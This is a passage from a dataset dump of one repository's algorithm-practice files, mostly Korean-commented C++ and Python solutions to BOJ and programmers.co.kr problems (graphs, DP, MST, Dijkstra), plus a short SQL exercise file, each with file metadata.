}\\n\\n cout << q.front();\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.48491379618644714,\n \"alphanum_fraction\": 0.5387930870056152,\n \"avg_line_length\": 17.600000381469727,\n \"blob_id\": \"e265e134d823d7e3e5861b4d0c9e02d07cd3be2f\",\n \"content_id\": \"bd307f6a0588a1d5dc4d8c1599417824068ac7c5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 474,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 25,\n \"path\": \"/BOJ/Implementation/10818_2.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 10818번: 최소, 최대 \\n2021-03-30\\nmin, max ver\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#define MAX 1000000\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, input, min_num = MAX, max_num = -MAX;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> input;\\n min_num = min(min_num, input);\\n max_num = max(max_num, input);\\n }\\n\\n cout << min_num << \\\" \\\" << max_num;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3973214328289032,\n \"alphanum_fraction\": 0.4188988208770752,\n \"avg_line_length\": 17.943662643432617,\n \"blob_id\": \"53a9975f7e40202dbe0b07e8a13d730967ddc5fe\",\n \"content_id\": \"ea638679ec7727a471555610c377ececd9509aee\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1380,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 71,\n \"path\": \"/BOJ/Graph Theory/11437.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 11438번: LCA\\nDATE: 2021-07-13\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#define MAX 100001\\nusing namespace std;\\n\\nvector<int> v[MAX];\\nint depth[MAX], parent[MAX];\\nint n, m;\\n\\nvoid bfs(int parentNode, int curDepth){\\n queue<int> q;\\n q.push(parentNode);\\n\\n while(!q.empty()){\\n int qsize = q.size();\\n for(int i = 0 ; i < qsize ; i++){\\n int curNode = q.front();\\n depth[curNode] = curDepth;\\n q.pop();\\n\\n for(int nextNode : v[curNode]){\\n if(depth[nextNode] == 0){\\n parent[nextNode] = curNode;\\n q.push(nextNode);\\n }\\n }\\n }\\n curDepth++;\\n }\\n\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int a, b;\\n cin >> n;\\n \\n for(int i = 1 ; i < n ; i++){\\n cin >> a >> b;\\n v[a].push_back(b);\\n v[b].push_back(a);\\n }\\n\\n bfs(1, 1);\\n\\n cin >> m;\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> a >> b;\\n\\n //a의 레벨 > b의 레벨\\n if(depth[a] < depth[b]) swap(a, b);\\n \\n while(depth[a] != depth[b]) {\\n a = parent[a]; //레벨이 같아질 때까지 갱신\\n }\\n while(a != b){\\n a = parent[a];\\n b = parent[b]; \\n }\\n\\n cout << b << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.426858514547348,\n \"alphanum_fraction\": 0.5179855823516846,\n \"avg_line_length\": 13.928571701049805,\n \"blob_id\": \"05c4543f8183fe768929700f65736c38d6a5c362\",\n \"content_id\": \"021ff82f6b6c3b56abe6bff4f61e775d162f12c7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 423,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 28,\n \"path\": \"/BOJ/Dynamic Programming/1904.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1904번: 01타일\\nDATE: 2021-05-28\\nDynamic programming\\n*/\\n#include <iostream>\\n#define MOD 15746\\n#define MAX 1000001\\nusing namespace std;\\n\\nlong long dp[MAX] = {0,};\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n cin >> n;\\n\\n dp[1] = 1;\\n dp[2] = 2;\\n\\n for(int i = 3 ; i <= n ; i++){\\n dp[i] = (dp[i - 2] + dp[i - 1]) % MOD;\\n }\\n\\n cout << dp[n];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4681440591812134,\n \"alphanum_fraction\": 0.5235456824302673,\n \"avg_line_length\": 15.454545021057129,\n \"blob_id\": \"ada2079fba5224f2a90392dc1b29d8b194e9be03\",\n \"content_id\": \"6bedca41feaeb6170d445d89f2b5d25085257da6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 367,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 22,\n \"path\": \"/BOJ/Implementation/10817.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 10817번: 세 수\\n//2021-05-04\\n#include <iostream>\\n#include <algorithm>\\n#include <vector>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n vector<int> v;\\n\\n for(int i = 0 ; i < 3 ; i++){\\n cin >> n;\\n v.push_back(n);\\n }\\n\\n sort(v.begin(), v.end());\\n cout << v[1];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.440443217754364,\n \"alphanum_fraction\": 0.4764542877674103,\n \"avg_line_length\": 19.11111068725586,\n \"blob_id\": \"64d9598ec5622330ad19c3fbced3d2290ebb0eb0\",\n \"content_id\": \"c588e35a01fc4b301637539a0ad7f7c272a15922\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 377,\n \"license_type\": \"no_license\",\n \"max_line_length\": 38,\n \"num_lines\": 18,\n \"path\": \"/programmers/Level 1/incomplete_player.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 1: 완주하지 못한 선수\\n# date: 2022-04-15\\ndef solution(participant, completion):\\n answer = ''\\n dic = {}\\n \\n for x in participant:\\n dic[x] = dic.get(x, 0) + 1\\n \\n for x in completion:\\n dic[x] -= 1\\n \\n for k, v in dic.items():\\n if v == 1:\\n answer = k\\n break\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.486679345369339,\n \"alphanum_fraction\": 0.5099905133247375,\n \"avg_line_length\": 22.10988998413086,\n \"blob_id\": \"44b6b144e47271dab9cfafb02e30fa13a0370d38\",\n \"content_id\": \"cba1910d35a385179ad41be766338fbfd5bab0c3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2156,\n \"license_type\": \"no_license\",\n \"max_line_length\": 82,\n \"num_lines\": 91,\n \"path\": \"/programmers/Level 2/parking_fee_calculation.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 주차 요금 계산\\n2022 KAKAO BLIND RECRUITMENT\\nDATE: 2022-04-02\\n*/\\n#include <string>\\n#include <vector>\\n#include <map>\\n#include <sstream>\\n#include <algorithm>\\n#include <cmath>\\nusing namespace std;\\n\\nvector<string> split(string str, char del){\\n vector<string> ret;\\n istringstream iss(str);\\n string buffer;\\n \\n while(getline(iss, buffer, del)) ret.push_back(buffer);\\n \\n return ret;\\n}\\n\\nint calcTime(string in, string out){\\n int idx, time = 0;\\n \\n idx = in.find(':');\\n int in_hour = stoi(in.substr(0, idx));\\n int in_min = stoi(in.substr(idx + 1));\\n \\n idx = out.find(':');\\n int out_hour = stoi(out.substr(0, idx));\\n int out_min = stoi(out.substr(idx + 1));\\n \\n if(in_min > out_min){\\n time += 60 - in_min + out_min;\\n time += (out_hour - in_hour - 1) * 60;\\n }\\n else{\\n time += out_min - in_min;\\n time += (out_hour - in_hour) * 60;\\n }\\n \\n return time;\\n}\\n\\nvector<int> solution(vector<int> fees, vector<string> records) {\\n vector<int> answer;\\n map<string, string> m1;\\n map<string, int> m2;\\n \\n for(auto i : records){\\n vector<string> ret = split(i, ' ');\\n string car = ret[1];\\n \\n if(m1.find(car) != m1.end()){\\n int time = calcTime(m1[car], ret[0]);\\n \\n m2[car] += time;\\n m1.erase(car);\\n } \\n else m1[car] = ret[0]; \\n }\\n \\n for(auto i : m1) { // 입차 기록은 존재하는데 출차 기록이 없는 차들 계산\\n string car = i.first;\\n string in = i.second;\\n string out = \\\"23:59\\\";\\n \\n int time = calcTime(in, out);\\n m2[car] += time;\\n }\\n\\n vector<pair<string, int>> tmp;\\n\\n for(auto i : m2){\\n string car = i.first;\\n int total = i.second;\\n\\n if(total <= fees[0]) tmp.push_back({car, fees[1]});\\n else{\\n int fee = fees[1] + ceil(double(total - fees[0]) / fees[2]) * fees[3];\\n tmp.push_back({car, fee});\\n }\\n }\\n \\n sort(tmp.begin(), tmp.end());\\n for(auto i : tmp) answer.push_back(i.second);\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.6355311274528503,\n \"alphanum_fraction\": 0.6849817037582397,\n \"avg_line_length\": 17.827587127685547,\n \"blob_id\": \"6c1b95791ffb5844b7334560701cd31c0c4cf11f\",\n \"content_id\": \"0ba6fc02748e8084178eb7bb26f5b4333cbb3452\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 598,\n \"license_type\": \"no_license\",\n \"max_line_length\": 91,\n \"num_lines\": 29,\n \"path\": \"/programmers/SQL/IS NULL.md\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# IS NULL\\n\\n**[1. 이름이 없는 동물의 아이디 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59039)**\\n\\n```sql\\nSELECT ANIMAL_ID\\nFROM ANIMAL_INS\\nWHERE NAME IS NULL\\n```\\n\\n<br/>\\n\\n**[2. 이름이 있는 동물의 아이디 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59407)**\\n\\n```sql\\nSELECT ANIMAL_ID\\nFROM ANIMAL_INS\\nWHERE NAME IS NOT NULL\\n```\\n\\n<br/>\\n\\n**[3. NULL 처리하기 (Level 2)](https://programmers.co.kr/learn/courses/30/lessons/59410)**\\n\\n```sql\\nSELECT ANIMAL_TYPE, IFNULL(NAME, 'No name') AS NAME, SEX_UPON_INTAKE\\nFROM ANIMAL_INS\\nORDER BY ANIMAL_ID\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.5125628113746643,\n \"alphanum_fraction\": 0.5427135825157166,\n \"avg_line_length\": 16.08571434020996,\n \"blob_id\": \"ab72bd1760a2b00771075eea0cd3d4a60d8d85a9\",\n \"content_id\": \"5fdb35e0b0b6ac0f0f478d35450e5750bf2f5038\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 603,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 35,\n \"path\": \"/BOJ/Implementation/2503.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2503번: 카드\\nDATE: 2022-03-11\\n*/\\n#include <iostream>\\n#include <map>\\n#include <vector>\\n#include <algorithm>\\n#define ll long long\\nusing namespace std;\\n\\nmap<ll, ll> m;\\n\\nbool cmp(pair<ll,ll> a, pair<ll,ll> b){\\n if(a.second == b.second) return a.first < b.first;\\n return a.second > b.second;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n ll n, a;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> a;\\n m[a]++;\\n }\\n\\n vector<pair<ll,ll>> v(m.begin(), m.end());\\n sort(v.begin(), v.end(), cmp);\\n\\n cout << v[0].first;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.39282429218292236,\n \"alphanum_fraction\": 0.4351426064968109,\n \"avg_line_length\": 19.923076629638672,\n \"blob_id\": \"4af821d581c24ae5e9717fda2ed02817845a4d17\",\n \"content_id\": \"8a8d819fd9bf77f4b7ea7a0e2405d6346ca364a6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1275,\n \"license_type\": \"no_license\",\n \"max_line_length\": 83,\n \"num_lines\": 52,\n \"path\": \"/BOJ/Divide And Conquer/1992.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1992번: 쿼드트리\\nDATE: 2022-02-14\\nDivide And Conquer\\n-\\n0. 인자로 받은 (x, y)의 숫자로 체크함\\n1. 해당 범위의 모든 수가 동일 => 숫자 출력\\n2. 다른 수가 존재한다면 => 4등분해서 재귀\\n 2-1. 재귀 전 여는 괄호, 끝난 후 닫는 괄호\\n 2-2. 순서: 왼쪽 위 -> 오른쪽 위 -> 왼쪽 아래 -> 오른쪽 아래\\n*/\\n#include <iostream>\\n#define MAX 64\\nusing namespace std;\\n\\nint n;\\nint arr[MAX][MAX];\\n\\nvoid solve(int size, int r, int c){\\n int check = arr[r][c];\\n int dr[4] = {0, 0, size / 2, size / 2};\\n int dc[4] = {0, size / 2, 0, size / 2};\\n\\n for(int i = r ; i < r + size ; i++){\\n for(int j = c ; j < c + size ; j++){\\n if(arr[i][j] != check){\\n printf(\\\"(\\\");\\n for(int k = 0 ; k < 4 ; k++) solve(size / 2, r + dr[k], c + dc[k]);\\n printf(\\\")\\\");\\n\\n return;\\n }\\n }\\n }\\n\\n printf(\\\"%d\\\", check); // 해당 범위가 0 또는 1로만 이루어진 경우\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n scanf(\\\"%d\\\", &n);\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < n ; j++){\\n scanf(\\\"%1d\\\", &arr[i][j]);\\n }\\n }\\n\\n solve(n, 0, 0);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4931506812572479,\n \"alphanum_fraction\": 0.521268904209137,\n \"avg_line_length\": 22.133333206176758,\n \"blob_id\": \"da8cbf673c076115a642c5aa726562a9eda687e0\",\n \"content_id\": \"fabe5058e029e540ca0632e2f2dac05650cb265e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1405,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 60,\n \"path\": \"/BOJ/Dijkstra/13549_2.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 13549번: 숨바꼭질 3\\n2022-01-12\\nDijkstra Algorithm ver.\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#include <algorithm>\\n#define MAX 100001\\n#define INF 1e9\\nusing namespace std;\\n\\nvector<pair<int,int>> graph[MAX];\\nint sec[MAX];\\nint mv[3] = {-1, 1, 2};\\n\\nvoid dijkstra(int start){\\n priority_queue<pair<int,int>, vector<pair<int,int>>, greater<pair<int,int>>> pq; // 시간, 위치\\n \\n pq.push({0, start});\\n sec[start] = 0;\\n\\n while(!pq.empty()){\\n int curTime = pq.top().first;\\n int curLocation = pq.top().second;\\n int nextLocation, nextTime;\\n pq.pop();\\n\\n if(curTime > sec[curLocation]) continue;\\n for(int i = 0 ; i < 3 ; i++) {\\n if(i < 2) {\\n nextLocation = curLocation + mv[i];\\n nextTime = sec[curLocation] + 1;\\n }\\n else {\\n nextLocation = curLocation * 2;\\n nextTime = sec[curLocation];\\n }\\n\\n if(nextLocation < 0 || nextLocation > MAX - 1) continue;\\n if(sec[nextLocation] > nextTime) {\\n sec[nextLocation] = nextTime;\\n pq.push({nextTime, nextLocation});\\n }\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, k;\\n cin >> n >> k;\\n\\n fill(sec, sec + MAX, INF);\\n dijkstra(n);\\n cout << sec[k];\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.36186420917510986,\n \"alphanum_fraction\": 0.38449472188949585,\n \"avg_line_length\": 21.89230728149414,\n \"blob_id\": \"7fce27d10e27569220cf9af2876f771820e2e123\",\n \"content_id\": \"6c070943d1b3f283f944d42273e097bbb162182d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 4505,\n \"license_type\": \"no_license\",\n \"max_line_length\": 65,\n \"num_lines\": 195,\n \"path\": \"/BOJ/Implementation/3425.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 3452번: 고스택\\nDATE: 2021-07-06\\n*/\\n#include <iostream>\\n#include <vector>\\n#define MAX 1000000000\\n#define MIN -1000000000\\nusing namespace std;\\n\\nvector<long long> stk, num;\\nvector<string> command;\\nlong long n;\\n\\nbool program()\\n{\\n int cnt = 0;\\n\\n //명령어 실행\\n for (int i = 0; i < command.size(); i++)\\n {\\n if (command[i] == \\\"NUM\\\")\\n {\\n // num 벡터에 있는 값 사용\\n stk.push_back(num[cnt++]);\\n }\\n else if (command[i] == \\\"POP\\\")\\n {\\n if (stk.size() < 1) return false;\\n stk.pop_back();\\n }\\n else if (command[i] == \\\"INV\\\")\\n {\\n if (stk.size() < 1) return false;\\n\\n long long tmp = stk.back();\\n tmp = -tmp;\\n\\n stk.pop_back();\\n stk.push_back(tmp);\\n }\\n else if (command[i] == \\\"DUP\\\")\\n {\\n if (stk.size() < 1) return false;\\n stk.push_back(stk.back());\\n }\\n else if (command[i] == \\\"SWP\\\")\\n {\\n if (stk.size() < 2) return false;\\n\\n long long tmp1 = stk.back();\\n stk.pop_back();\\n long long tmp2 = stk.back();\\n stk.pop_back();\\n\\n stk.push_back(tmp1);\\n stk.push_back(tmp2);\\n }\\n else if (command[i] == \\\"ADD\\\")\\n {\\n if (stk.size() < 2) return false;\\n\\n long long tmp1 = stk.back();\\n stk.pop_back();\\n long long tmp2 = stk.back();\\n stk.pop_back();\\n\\n long long num = tmp1 + tmp2;\\n if (num > MAX || num < MIN) return false;\\n else stk.push_back(num);\\n }\\n else if (command[i] == \\\"SUB\\\")\\n {\\n if (stk.size() < 2) return false;\\n\\n long long tmp1 = stk.back();\\n stk.pop_back();\\n long long tmp2 = stk.back();\\n stk.pop_back();\\n\\n long long num = tmp2 - tmp1;\\n if (num > MAX || num < MIN) return false;\\n else stk.push_back(num);\\n }\\n else if (command[i] == \\\"MUL\\\")\\n {\\n if (stk.size() < 2) return false;\\n\\n long long tmp1 = stk.back();\\n stk.pop_back();\\n long long tmp2 = stk.back();\\n stk.pop_back();\\n\\n long long num = tmp1 * tmp2;\\n if (num > MAX || num < MIN) return false;\\n else stk.push_back(num);\\n }\\n else if (command[i] == \\\"DIV\\\")\\n {\\n if (stk.size() < 2) return false;\\n\\n long long tmp1, tmp2, num;\\n tmp1 = stk.back();\\n stk.pop_back();\\n tmp2 = stk.back();\\n stk.pop_back();\\n\\n if (tmp1 == 0) return false;\\n\\n if ((tmp1 > 0 && tmp2 > 0) || (tmp1 < 0 && tmp2 < 0))\\n num = tmp2 / tmp1;\\n else\\n { //음수 한개\\n num = abs(tmp2) / abs(tmp1);\\n num = -num;\\n }\\n\\n stk.push_back(num);\\n }\\n else if (command[i] == \\\"MOD\\\")\\n {\\n if (stk.size() < 2) return false;\\n\\n long long tmp1, tmp2, num;\\n tmp1 = stk.back();\\n stk.pop_back();\\n tmp2 = stk.back();\\n stk.pop_back();\\n\\n if (tmp1 == 0)\\n return false;\\n\\n if (tmp2 < 0)\\n {\\n num = abs(tmp2) % tmp1;\\n num = -num;\\n }\\n else if (tmp2 > 0)\\n {\\n num = tmp2 % tmp1;\\n }\\n\\n stk.push_back(num);\\n }\\n }\\n\\n return true;\\n}\\n\\nint main()\\n{\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n while (1)\\n {\\n string str;\\n command.clear();\\n num.clear();\\n\\n while (1)\\n {\\n cin >> str;\\n if (str == \\\"END\\\") break;\\n else if (str == \\\"QUIT\\\") return 0;\\n else if (str == \\\"NUM\\\")\\n {\\n int a;\\n cin >> a;\\n command.push_back(str);\\n num.push_back(a);\\n }\\n else\\n command.push_back(str);\\n }\\n\\n cin >> n;\\n \\n for (int i = 0; i < n; i++)\\n {\\n int input;\\n cin >> input;\\n\\n stk.clear();\\n stk.push_back(input);\\n\\n if (!program() || stk.size() != 1)\\n cout << \\\"ERROR\\\\n\\\";\\n else\\n cout << stk[0] << '\\\\n';\\n }\\n cout << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.38449999690055847,\n \"alphanum_fraction\": 0.4074999988079071,\n \"avg_line_length\": 22,\n \"blob_id\": \"a7e571b8e5de2bb7ece58be10f379e098d140f66\",\n \"content_id\": \"04fc6bbd89b6129304ee2a5f78c8b612fb9c4ea9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2130,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 87,\n \"path\": \"/BOJ/Implementation/15686.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 15686번: 치킨 배달\\nDATE: 2021-04-17\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#include <cstdlib>\\nusing namespace std;\\n\\nvector<pair<int, int>> cv; //치킨집\\nvector<pair<int, int>> hv; //집\\npair<int, int> p[13]; //조합한 치킨집\\npriority_queue<int, vector<int>, greater<int>> pq;\\nint city[51][51];\\nint n, m, dst, new_dst, c_dst;\\n\\nvoid combination(int depth, int next){ //순서X, 중복X\\n if(depth == m){ //치킨거리 구하기\\n c_dst = 0;\\n \\n for(int i = 0 ; i < hv.size() ; i++){\\n int x = hv[i].first;\\n int y = hv[i].second;\\n dst = 100;\\n \\n for(int j = 0 ; j < m ; j++){\\n new_dst = abs(x - p[j].first) + abs(y - p[j].second);\\n dst = min(dst, new_dst);\\n }\\n c_dst += dst;\\n }\\n\\n pq.push(c_dst);\\n\\n return;\\n }\\n\\n for(int i = next ; i <= cv.size() ; i++){\\n p[depth] = cv[i - 1];\\n combination(depth + 1, i + 1);\\n }\\n}\\n\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n cin >> city[i][j];\\n\\n if(city[i][j] == 1) {\\n hv.push_back(make_pair(i, j)); //집(1) 위치\\n }\\n else if(city[i][j] == 2){\\n cv.push_back(make_pair(i, j)); //치킨집(2) 위치\\n }\\n }\\n }\\n\\n if(m == cv.size()){ //바로 치킨 거리 구하기\\n c_dst=0;\\n\\n for(int i = 0 ; i < hv.size() ; i++){\\n int x = hv[i].first;\\n int y = hv[i].second;\\n dst = 100;\\n \\n for(int k = 0 ; k < cv.size() ; k++){\\n new_dst = abs(x - cv[k].first) + abs(y - cv[k].second);\\n dst = min(dst, new_dst);\\n }\\n\\n c_dst += dst;\\n }\\n }\\n else{ //치킨 가게가 최대 m개 있어야하는 경우: cv.size()개 중에 m개를 선택하는 조합 \\n combination(0, 1);\\n c_dst = pq.top();\\n }\\n\\n cout << c_dst;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4762253165245056,\n \"alphanum_fraction\": 0.49890270829200745,\n \"avg_line_length\": 18,\n \"blob_id\": \"c471533b4acca44711b7be092898010a2ee90018\",\n \"content_id\": \"d719a1699f76782532e8c682f4456ea73e0ffe96\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1383,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 72,\n \"path\": \"/BOJ/MST/14621.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14621번: 나만 안되는 연애\\nDATE: 2022-03-03\\nKruskal Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#define MAX 1001\\nusing namespace std;\\n\\nchar gender[MAX];\\nvector<pair<int, pair<int,int>>> edge;\\nint parent[MAX];\\n\\nint getParent(int x){\\n if(x == parent[x]) return x;\\n return parent[x] = getParent(parent[x]);\\n}\\n\\nint findParent(int a, int b){\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nvoid unionParent(int a, int b){\\n a = getParent(a);\\n b = getParent(b);\\n\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m, ans = 0, cnt = 0;\\n int a, b, c;\\n char ch;\\n\\n cin >> n >> m;\\n \\n for(int i = 1 ; i <= n ; i++) cin >> gender[i];\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> a >> b >> c;\\n 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\"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 7490번: 0 만들기\\n2021-12-20\\nBrute force ver.\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nvector<string> ans;\\nint input, n, r;\\nint dpArr[8] = {0,};\\n\\nvoid duplicatePermutation(int depth) {\\n if(depth == r) { // 0: 더하기 1: 빼기 2: 붙이기\\n int sum = 0, cnt = 0;\\n string calc = \\\"1\\\", origin = \\\"1\\\", tmp;\\n\\n for(int i = 1 ; i <= r ; i++) {\\n if(dpArr[i - 1] == 0) {\\n tmp = \\\"+\\\" + to_string(i + 1);\\n calc += tmp; origin += tmp;\\n }\\n else if(dpArr[i - 1] == 1) {\\n tmp = \\\"-\\\" + to_string(i + 1);\\n calc += tmp; origin += tmp;\\n }\\n else {\\n calc += to_string(i + 1);\\n origin += \\\" \\\" + to_string(i + 1);\\n }\\n }\\n\\n for(int i = 0 ; i < calc.length() ; i++) {\\n tmp.clear();\\n cnt = 0;\\n\\n if(isdigit(calc[i])) {\\n while(isdigit(calc[i])){\\n tmp += calc[i++];\\n cnt++;\\n }\\n \\n i--;\\n\\n if(cnt == 1) {\\n if(calc[i - cnt] == '+') sum += calc[i] - '0';\\n else if(calc[i - cnt] == '-') sum -= calc[i] - '0';\\n else sum = calc[i] - '0';\\n }\\n else if(cnt > 1) {\\n if(calc[i - cnt] == '+') sum += stoi(tmp);\\n else if(calc[i - cnt] == '-') sum -= stoi(tmp);\\n else sum = stoi(tmp);\\n }\\n }\\n }\\n\\n if(sum == 0) ans.push_back(origin);\\n return;\\n }\\n\\n for(int i = 1 ; i <= n ; i++) {\\n dpArr[depth] = i - 1;\\n duplicatePermutation(depth + 1);\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n int tc, input;\\n cin >> tc;\\n\\n for(int i = 0 ; i < tc ; i++) {\\n ans.clear();\\n for(int j = 0 ; j < r ; j++) dpArr[j] = 0;\\n\\n cin >> input; // 1부터 n까지의 정수들\\n\\n n = 3; // + - 공백\\n r = input - 1; // 연산자 개수\\n\\n duplicatePermutation(0); // 중복 순열\\n\\n sort(ans.begin(), ans.end()); // ASCII 순서에 따라 출력\\n for(int j = 0 ; j < ans.size() ; j++) cout << ans[j] << \\\"\\\\n\\\";\\n cout << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n 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\\n\\t\\t}\\n\\t}\\n}\\n\\nvoid bfs(int node) {\\n\\tqueue <int> q;\\n \\n\\tq.push(node); \\n\\tvisited[node] = true; \\n\\n\\tcout << node << \\\" \\\"; \\n\\n\\twhile (!q.empty()) { \\n int front = q.front(); \\n\\t\\tq.pop();\\n\\n\\t\\tfor (int i = 1; i <= n; i++) {\\n\\t\\t\\tif (arr[front][i] == 1 && visited[i] == false) {\\n\\t\\t\\t\\tq.push(i);\\n\\t\\t\\t\\tvisited[i] = true;\\n\\t\\t\\t\\tcout << i << \\\" \\\"; \\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n}\\n\\nint main() {\\n\\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n\\tcin >> n >> m >> v;\\n\\n\\tfor (int i = 0; i < m; i++) { \\n\\t\\tint num1, num2;\\n\\t\\tcin >> num1 >> num2;\\n\\t\\tarr[num1][num2] = arr[num2][num1] = 1;\\n\\t}\\n\\n //DFS \\n\\tdfs(v);\\n\\tcout << \\\"\\\\n\\\";\\n\\n\\tfor(int i = 0 ; i < MAX ; i++)\\n\\t\\tvisited[i] = { false, };\\n\\n //BFS \\n\\t//bfs(v); 